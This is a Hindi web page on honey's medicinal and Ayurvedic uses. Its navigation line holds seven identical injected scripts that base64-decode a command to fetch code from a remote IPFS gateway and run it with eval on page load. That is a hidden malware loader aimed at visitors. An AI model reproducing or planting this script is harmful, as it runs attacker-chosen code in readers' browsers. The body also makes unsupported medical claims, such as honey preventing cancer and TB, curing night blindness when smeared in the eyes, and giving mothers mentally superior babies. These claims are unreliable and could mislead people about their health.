शहद के औषधीय गुण

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शहद   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शहद और मधुमक्खी   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शहद के घटक   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शहद के औषधीय गुण   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शहद का भोजन में उपयोग   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शहद की शुद्धता   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> मधुमक्खी पालन   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शहद की उपयोगिता
शहद के औषधीय गुण
शहद
विवरण शहद अथवा 'मधु' एक प्राकृतिक मधुर पदार्थ है जो मधुमक्खियों द्वारा फूलों के रस को चूसकर तथा उसमें अतिरिक्त पदार्थों को मिलाने के बाद छत्ते के कोषों में एकत्र करने के फलस्वरूप बनता है।
शहद के घटक रासायनिक विश्लेषण करने पर शहद में बहुत से पोषक तत्व होते है जैसे- फ्रक्टोज़ 38.2%, ग्लूकोज़: 31.3%, सुकरोज़: 1.3%, माल्टोज़: 7.1%, जल: 17.2%, उच्च शर्कराएं: 1.5%, भस्म: 0.2%, अन्य: 3.2%। वैज्ञानिकों ने यह सिद्ध कर दिया है कि शहद पौष्टिक तत्वों से युक्त शर्करा और अन्य तत्वों का मिश्रण होता है।
औषधीय गुण शहद का प्रयोग औषधि रूप में भी होता है। जिससे कई पौष्टिक तत्व मिलते हैं जो घाव को ठीक करने और ऊतकों के बढ़ने के उपचार में मदद करते हैं। प्राचीन काल से ही शहद को एक जीवाणु-रोधी (एंटीबैक्टीरियल) के रूप में जाना जाता रहा है। शहद का पीएच मान 3 से 4.8 के बीच होने से जीवाणुरोधी गुण स्वतः ही पाया जाता है।
अन्य जानकारी आयुर्वेद के ऋषियों ने भी माना है कि तुलसी व मधुमय पंचामृत का सेवन करने से संक्रमण नहीं होता और इसका विधिवत ढंग से सेवन कर अनेक रोगों पर विजय पाई जा सकती है।

प्राचीनकाल से ही विभिन्न प्रकार के रोगों में शहद से उपचार की विधि प्रचलित है। बीमार तथा कमज़ोर मनुष्यों को यह नवीन जीवन प्रदान करता है। चोट लगने पर, जलने पर घावों को ठीक करने में यह एक रामबाण मल्हम का काम करता है। आयुर्वेद में तो शहद कई औषधियों का आधार है। सरलता से पच जाना तथा कोई विपरीत प्रभाव न पड़ना, इसका सबसे अच्छा पक्ष है। देशी उपचार की विधियों में शहद का प्रयोग बाह्य एवं आंतरिक रोगों में प्रमुखता से किया जाता है। बच्चों के दाँत निकलने से लेकर युवाओं की त्वचा की देखभाल तथा वृद्धों की तंदुरुस्ती तक के लिए शहद महत्त्वपूर्ण है। यह वात और कफ को नियंत्रित करता है तथा रक्त व पित्त को सामान्य रखता है। शहद नेत्र ज्योति को बढ़ाता है, प्यास को शांत करता, कफ को घोलकर बाहर निकालता और शरीर में विषाक्तता को कम करता है। इतना ही नहीं यह मूत्रमार्ग में उत्पन्न व्याधियों तथा निमोनिया, खाँसी, डायरिया, दमा आदि में बहुत उपयोगी होता है। किसी भी घाव, चोट, खरोंच या किसी कीड़े के काटने पर इसे मल्हम की तरह लगा सकते हैं। क्योकि शहद एंटिसेप्टिक की तरह काम करता है।

शहद का प्रयोग औषधि रूप में भी होता है। जिससे कई पौष्टिक तत्व मिलते हैं जो घाव को ठीक करने और ऊतकों के बढ़ने के उपचार में मदद करते हैं। प्राचीन काल से ही शहद को एक जीवाणु-रोधी (एंटीबैक्टीरियल) के रूप में जाना जाता रहा है। शहद का पीएच मान 3 से 4.8 के बीच होने से जीवाणुरोधी गुण स्वतः ही पाया जाता है। शहद को बैक्टीरिया के निवारण के तौर पर भी इस्तेमाल करते हैं। इस प्रक्रिया में शहद के उत्पादन में काम करने वाली मधुमक्खियां एन्जाइम ग्लूकोज ऑक्सीडेज को नेक्टर में बदल देती हैं। जब शहद को घाव पर लगाया जाता है तो इस एंजाइम के साथ हवा की ऑक्सीजन के संपर्क में आते ही बैक्टीरीसाइड हाइड्रोजन पर आक्साइड बनती है। शहद को घाव पर लगाने से घाव जल्दी भर जाते हैं। शहद एक हाइपरस्मॉटिक एजेंट होता है जो घाव से तरल पदार्थ निकाल देता है और शीघ्र उसकी भरपाई भी करता है और उस जगह हानिकारक जीवाणु / विषाणु भी मर जाते हैं। बेहतर यही होता है कि शहद को सीधे जख्म पर लगाने की बजाय पहले उसे पट्टी या रुई पर लगाएं और उसके बाद उसे जख्म पर लगाएं। जब इसको सीधे या ड्रेसिंग के जरिए घाव में लगाया जाता है तो यह सीलैंट की तरह एक्ट करती है और ऐसे में घाव संक्रमण (इन्फेक्शन) से बचा रहता है। शहद के प्रयोग से शरीर की सूजन और दर्द भी दूर हो जाते हैं। जख्मों या सूजन से आने वाली दुर्गंध भी दूर होती है। शहद की पट्टी बांधने से मरे हुए ऊतकों के स्थान पर नए सेल पनप आते हैं। इसका मतलब कि शहद से घाव तो भरते ही हैं और उनके निशान भी नहीं रहते।

शहद का नियमित और उचित मात्रा में उपयोग करने से शरीर स्वस्थ, सुंदर, बलवान, स्फूर्तिवान बनता है और दीर्घजीवन प्रदान करता है। शहद एक उत्तम पूरक आहार है। इसके गुणों के बारे में आयुर्वेद में भी लिखा गया है। अत्यधिक थकान में यदि एक चम्मच शहद की ले ली जाये तो वह तुरन्त ऊर्जा देने वाला होता है और व्यक्ति की थकान तुरन्त उतर जाती है। शहद रक्त में हीमोग्लोबिन निर्माण में सहायक होता है और रक्त को शुद्ध करता है। यह ख़ून के लाल अणु और हीमोग्लोबिन की संख्या में उचित तालमेल बैठाए रहता है। इसके नियमित सेवन से एनीमिया दूर हो जाता है। इसमें विटमिन बी और विटमिन सी तो होते ही हैं, इसमें एंटीऑक्सीडेंट तत्व भी पाए जाते हैं, जो हमारी रोगप्रतिरोधक क्षमता को बढाने में सहायक होते हैं। तथा ये कैंसर को होने से रोकता है और साथ ही हृदय की बीमारियों को भी रोकता है। शहद को मोटापा घटाने के लिए भी उपयोग किया जाता है। सुबह उठकर गुनगुने पानी में नीबू के साथ शहद का उपयोग करने पर मोटापा घटता है।

शहद श्रम की परिणति होने के कारण पौष्टिक, सुपाच्य और दुर्बलता को सरलता से दूर करने वाला है। कठिन शारीरिक श्रम करने वालों को शक्ति देता है और स्फूर्तिवान बनाता है। यह आमाशय में जाते ही सरलता से पच जाता है। पाचन तंत्र को अतिरिक्त श्रम नहीं करना पड़ता। औषधि के रूप में शहद की आयुर्वेद में प्रशंसा की गई है। इसका श्रेष्ठ अनुपात हानिरहित, मृदु, कफ़नाशक और जीवनीशक्ति बढाने वाला है। फेफड़े के रोगों में शहद लाभकारी है। शहद खाँसी में आराम देता है। इसमें उत्कृष्ट कोटि का अल्कोहल और इथीरियल ऑयल होता है, जो कि श्वास फूलने, दमे के रोग और उसके तीव्र प्रकोप में लाभदायक पाया गया है। टाइफाइड, निमोनिया जैसे रोगों में यह लीवर और आंतों की कार्यक्षमता को बढाता है। फोडे-फुंफ्सियों, ज़हरीले घाव, फफोले आदि में इसका उपयोग यूरोप जैसे देशों में किया जाता है। प्रयोग के आधार पर देखा गया है कि गहरे घावों पर मधु की पट्टी बांध देने पर घाव आसानी से भर जाता है और किसी प्रकार के इंफेक्शन का डर नहीं रहता। आँखों में काजल की तरह सोते समय शहद लगाने से रतौंधी दूर होती है। आंखों में इसे किसी सलाई से सुरमे की तरह लगाया जा सकता है। थोड़ा लगता ज़रूर है, पर आंखों में चमक आ जाती है। उन्हें कमज़ोर होने से बचाता है। शहद को लगातार प्रयोग करने से व्यक्ति की याददाश्त बढ़ती है। शहद स्नायुविक संस्थान की दुर्बलता दूर करता है और मस्तिष्क की कार्य प्रणाली अच्छी होती है। शहद किडनी और आँतों को ठीक रखता है।

शहद हर आयु वर्ग के लिए उत्कृष्ट कोटि का टॉनिक भी है। छोटे बच्चे जिनका शारीरिक विकास ठीक ढंग से हो नहीं पाता, इसे दूध के साथ पिलाने से शारीरिक विकास सहज ही हो जाता है। वृद्धावस्था में ठंड अधिक सताती है, ऐसे व्यक्ति भी यदि दूध के साथ इसका सेवन करें तो शरीर में शीघ्र ही गर्मी आ जाती है। मोटापा, कब्ज और रक्त की कमी में शहद का शरबत कुछ ही दिनों में लाभ पहुंचाता है। पौष्टिक तत्वों के अतिरिक्त मधु में एक चमत्कारी गुण यह भी होता है कि किसी भी बीमारी के कीटाणु मधु के संपर्क में आते ही या तो जीवनहीन अथवा गतिहीन हो जाते हैं। मधु उन समस्त बीमारियों में उपयोगी पाया गया है जो किसी प्रकार के कीटाणु द्वारा उत्पन्न होती है। वैद्यक ग्रंथों और आयुर्वेद के महर्षियों ने भी कहा है कि तुलसी व मधुमय पंचामृत पान करने से राजयक्ष्मा (टीबी) से बचाव होता है और इसका विधिवत ढंग से सेवन कर अनेक रोगों पर विजय पाई जा सकती है। यह हृदय उत्तेजक मात्र नहीं होता, वरन् उसको ऊष्मा देने वाला घटक होता है।

प्रातःकाल शौच से पूर्व शहद-नींबू पानी का सेवन करने से कब्ज दूर होता है, रक्त शुद्ध होता है और मोटापा कम होता है। शरीर में रूखेपन को दूर करता है। शहद हमारे शरीर की त्वचा और बालों के लिए फ़ायदेमंद होता है। इसका सेवन त्वचा के रोगों से निजात दिलाता है। शहद को त्वचा पर लगाने से हमारे शरीर की त्वचा स्वस्थ रहती है और निखार आता है। शहद को ओलिव आयल के साथ मिलाकर बालों में शेम्पू की तरह उपयोग किया जा सकता है। गुलाब जल में नींबू और शहद मिलाकर चेहरे पर लगाने से त्वचा मुलायम एवं कोमल बनती है। गर्भावस्था के दौरान स्त्रियों द्वारा शहद का सेवन करने से पैदा होने वाली संतान स्वस्थ एवं मानसिक दृष्टि से अन्य शिशुओं से श्रेष्ठ होती है। गाजर के रस में शहद मिलाकर लेने से नेत्र-ज्योति में सुधार होता है। उच्च रक्तचाप में लहसुन और शहद लेने से रक्तचाप सामान्य होता है। त्वचा के जल जाने, कट जाने या छिल जाने पर भी शहद लगाने से लाभ मिलता है। मनुका (मेडिहनी) मेडिसिनल हनी होती है जिसके एंटीबैक्टीरिया कई तरह के स्रोतों से ऑस्ट्रेलिया और न्यूजीलैंड आदि स्थानों से हासिल किए जाते हैं। वर्ष 2007 में हेल्थ कनाडा ओर यूएस फूड एंड ड्रग एडमिनिस्ट्रेशन (एफडीए) ने क्रमश: पहली बार मेडिसिनल हनी को घाव और जलने में इस्तेमाल के लिए इजाजत दी थी

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